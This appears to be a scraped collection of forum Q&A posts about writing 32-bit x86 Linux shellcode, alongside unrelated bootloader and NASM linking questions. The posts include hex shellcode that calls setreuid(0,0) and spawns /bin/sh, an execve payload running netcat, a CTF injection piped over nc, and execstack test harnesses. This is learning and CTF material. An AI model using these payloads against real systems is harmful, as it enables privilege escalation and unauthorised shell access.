So I wanted to convert a compiled C program into Hex format so that I can inject it inside the memory. The problem I am currently facing is that I have no idea how to convert a compiled C file to hex. Can someone show me how it's done?
My C Code (temp.c):
#include <stdio.h>
void main(){
printf("Working!");
}
Compiled it using gcc:
gcc -g temp.c -o temp -m32
You can write in assembly using write(); syscall and exit(); syscall.
Here code I wrote, file w.asm :
global _start
section .text
_start:
push byte 0x0a
push dword "ing!"
push dword "Work"
inc ebx
mov ecx, esp
mov dl, 9
mov al, 4
int 0x80
xor ebx, ebx
mov al, 1
int 0x80
Assembling and linking using nasm and ld :
nasm -f elf w.asm && ld -o w w.o
Dump binary file into hex (shellcode style) using objdump one-liner like this:
objdump -d ./w | grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
You will get the result like this :
"\x6a\x0a\x68\x69\x6e\x67\x21\x68\x57\x6f\x72\x6b\x43\x89\xe1\xb2\x09\xb0\x04\xcd\x80\x31\xdb\xb0\x01\xcd\x80"
Related
I am a Shellcode beginner and I started some CTFs.
But I am stuck at the most basic exercise.
Let's say I have a program. This program gives me the pointer address of execve : 0x8048450
Let's say there is a char array "\bin\sh" of which I also have the address : 0x80486a5
The vulnerable code is :
char input[4096];
read(0, input, 4096);
((func)&input)();
The problem is that I do not have many information on the architecture targeted because I have no binary but I think it is 32-bit.
Here is my code :
section .text
global _start
_start:
xor eax,eax
xor ebx,ebx
xor ecx,ecx
xor edx,edx
mov eax, 0x80486a5
push eax
call 0x8048450
Then I run :
nasm -f elf -o shellcode.o shellcode.asm
and
ld -o shellcode shellcode.o -m elf_i386
Which gives
\xde\xde\x31\xd2\x31\xc9\x31\xdb\x31\xc0\xb8\xa5\x86\x04\x08\x50\xe8\xdd\x03\x00\x00
I execute
python -c "print('\xde\xde\x31\xd2\x31\xc9\x31\xdb\x31\xc0\xb8\xa5\x86\x04\x08\x50\xe8\xdd\x03\x00\x00')" | nc target port
but nothing.
Do I have to put a NOP sled to fulfill the byte array ?
Thank you for reading me !
I am doing operating system project, until now I have my bootloader running. I can load binary file using bios interuppt, but I am unable to load and call C function from ELF file format:
Here is my C program that I want to finally execute:
//build :: cc -m32 -nostdlib -nostdinc -fno-builtin -fno-stack-protector -c -o kmain.o kmain.c
void kmain(){
int a = 5;
for(;;);
}
Here is assembly code to call kmain()
; build :: nasm -f elf loader.asm
[BITS 32]
[GLOBAL start]
[EXTERN kmain]
section .text
start:
mov eax, 0
call kmain
This is my linker script
ENTRY(start)
and this how I am linking everything together
ld -m elf_i386 -T link.ld -o kernel loader.o kmain.o
Now to call start from my bootloader, I am using e_entry offset field from elf header( 24 byte away from starting address) :
xor edx, edx
mov edx, 24
add edx, IMAGE_PMODE_BASE
add ebx, dword[edx]
add ebx, IMAGE_PMODE_BASE
call ebx
where IMAGE_PMODE_BASE is address of elf file loaded in memory.
My question is "Is This the correct way of loading and calling a function in C in ELF file format?".
Thank you for reading, please help.
I am trying to learn about assembly and shellcode. I am having a problem that has been driving me nuts for days. I have written some assembly to make a system call to execve. The assembled file works, but when I convert it to shellcode and try to run it from a C program, I get a segmentation fault. I have tried all sorts of variations, but nothing works. Currently, the nasm code is as follows:
global _start
section .data
cmd: db '/bin/netcat', 0
argv0: db 'netcat', 0
argv1: db '127.0.0.1', 0
argv2: db '3333', 0
argv: dd argv0, argv1, argv2, 0
section .text
_start:
mov ebx, cmd ; filename parameter
mov ecx, argv ; argv parameter
xor edx, edx ; envp parameter
mov al, 11 ; execve system call number. Moving to al rather than eax to prevent null bytes in shellcode.
int 0x80
; exit
xor ebx, ebx ; status code 0
mov al, 1 ; sys_exit
int 0x80
I assembled this with the following command:
nasm -f elf32 test.asm -o test.o && ld -m elf_i386 test.o -o test
Running test works fine. I obtained the shellcode from test using the command from this page and of course, replacing ./PROGRAM with ./test.
Finally, I have the following C code:
unsigned char[] = "\xbb\x98\x90\x04\x08\xb9\xba\x90\x04\x08\x31\xd2\xb0\x0b\xcd\x80\xb0\x01\x31\xdb\xcd\x80";
main()
{
int (*ret)() = (int(*)())code;
ret();
}
Compiled with:
gcc -g -m32 -fno-stack-protector -z execstack testshellcode.c -o testshellcode
Running testshellcode results in a Segmentation fault. I have tried various things like making code a const, compiling with different flags, and about 1,000 variations of the nasm code. I have successfully run other shellcode that calls execve, but argv was simple in those cases.
Using gdb, I can see it crashes when ret() is called. Looking at the registers after the segmentation fault:
eax 0xffffffda -38
ecx 0x80490ba 134516922
edx 0x0 0
ebx 0x0 0
esp 0xbffff14c 0xbffff14c
ebp 0xbffff178 0xbffff178
eip 0x804a03a 0x804a03a <code+22>
eflags 0x10246 [ PF ZF IF RF ]
Any help would be highly appreciated.
I cannot combine my kernel_entry.asm and main.c. My main.c calls an asm function Sum. Both nasm and gcc compiles respective files. However, the linker gives an error.
Kernel_entry.asm:
[bits 32]
[extern _start]
[global _Sum]
....
_Sum:
push ebp
mov ebp, esp
mov eax, [ebp+8]
mov ecx, [ebp+12]
add eax, ecx
pop ebp
ret
main.c:
....
extern int Sum();
void start() {
....
int x = Sum(4, 5);
....
}
To compile source files, I use following commands:
nasm kernel_entry.asm -f win32 -o kernel_entry.o
gcc -ffreestanding -c main.c -o main.o
....
ld -T NUL -o kernel.tmp -Ttext 0x1000 kernel_entry.o main.o mem.o port_in_out.o screen.o idt.o
Linker gives following error:main.o:main.c:(.text+0xa82): undifened reference to 'Sum'. I tried everything but couldn't find any solution. When I remove asm function call from main.c, it works.
The TL;DR version of the answer is that mixing nasm's -f win32 generates an object file that is not compatible with the GNU toolchain on Windows - you need to use -f elf if you want to link using ld. That is described in NASM's documentation here under sections 7.5 and 7.9.
The hint for me was that by running nm kernel_entry.o generated:
00000000 a .absolut
00000000 t .text
00000001 a #feat.00
U _start
U _Sum
Which basically shows Sum as an undefined symbol. After compiling as ELF, I got:
U _start
00000000 T _Sum
indicating Sum as a recognised symbol in the text section.
Aright I wrote an ASM file that spawns a shell.
However, the .text section becomes "READONLY", so I'm keeping everything in the .data section. When I compile it with NASM and ld, it works perfectly. Then, when I use the shellcode and run it in a C program, I seg fault.
ASM:
SECTION .data
global _start
_start:
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
mov al, 70d
int 80h
jmp jump
rev:
pop ebx
xor eax, eax
mov BYTE [ebx+7], al
mov DWORD [ebx+8], ebx
mov DWORD [ebx+12], eax
mov al, 11d
lea ecx, [ebx+8]
lea edx, [ebx+12]
int 80h
jump:
call rev
shell: db "/bin/sh011112222"
When I compile it with:
nasm -f elf32 -o temporary_file.o
ld -s -m elf_i386 -o shell temporary_file.o
Everything works perfectly. I can ./shell and a shell spawns. However, when i use:
objdump -D shell (objdump -d shell doesn't show the .data section)
And change that into \x?? format, I cannot exectute the shell.
Shellcode:
\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x46\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x30\x31\x31\x31\x31\x32\x32\x32\x32
And in the C file:
#include <stdio.h>
unsigned char * shellcode = "\x31\xc0\x31\xdb\x31\xc9\x31...";
int main(){
printf("[~] Shellcode length (bytes): %d\n", strlen(shellcode));
((void(*)(void))shellcode)();
return 0;
}
Seg fault.
Here is the first few lines of the strace output of the NASM compiled file:
[root#Arch tut]# strace ./exec
execve("./exec", ["./exec"], [/* 25 vars */]) = 0
[ Process PID=30445 runs in 32 bit mode. ]
setreuid(0, 0) = 0
execve("/bin/sh", ["/bin/sh"], [/* 3 vars */]) = 0
[ Process PID=30445 runs in 64 bit mode. ]
Now, here is the strace output of the C compiled file with the shellcode:
[root#Arch tut]# strace ./shell
execve("./shell", ["./shell"], [/* 25 vars */]) = 0
brk(0) = 0x238b000
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
In your c program, replace:
unsigned char * shellcode = "\x31\xc0\x31\xdb\x31\xc9\x31...";
with
unsigned char shellcode[] = "\x31\xc0\x31\xdb\x31\xc9\x31...";
Otherwise gcc will put it in a readonly section (compile with -S to produce asm and take a look at the section)
Furthermore, you might need to compile it with -fno-stack-protector -z execstack to avoid stack protection.
It is not possible to do something like this.
The first problem: If you compile the C program as 64 bit program you cannot mix it with 32 bit code. I assume you did that.
And the second one: Even if you compile the C program as 32 bit program (you'll have to install the 32 bit shared libraries so you can run it) you cannot run the program. This is because the memory management of Linux will prohibit execution of code in a data section by setting the NX bit of the MMU.
This means: Trying to execute code in a string (as you do) will cause a segmentation fault!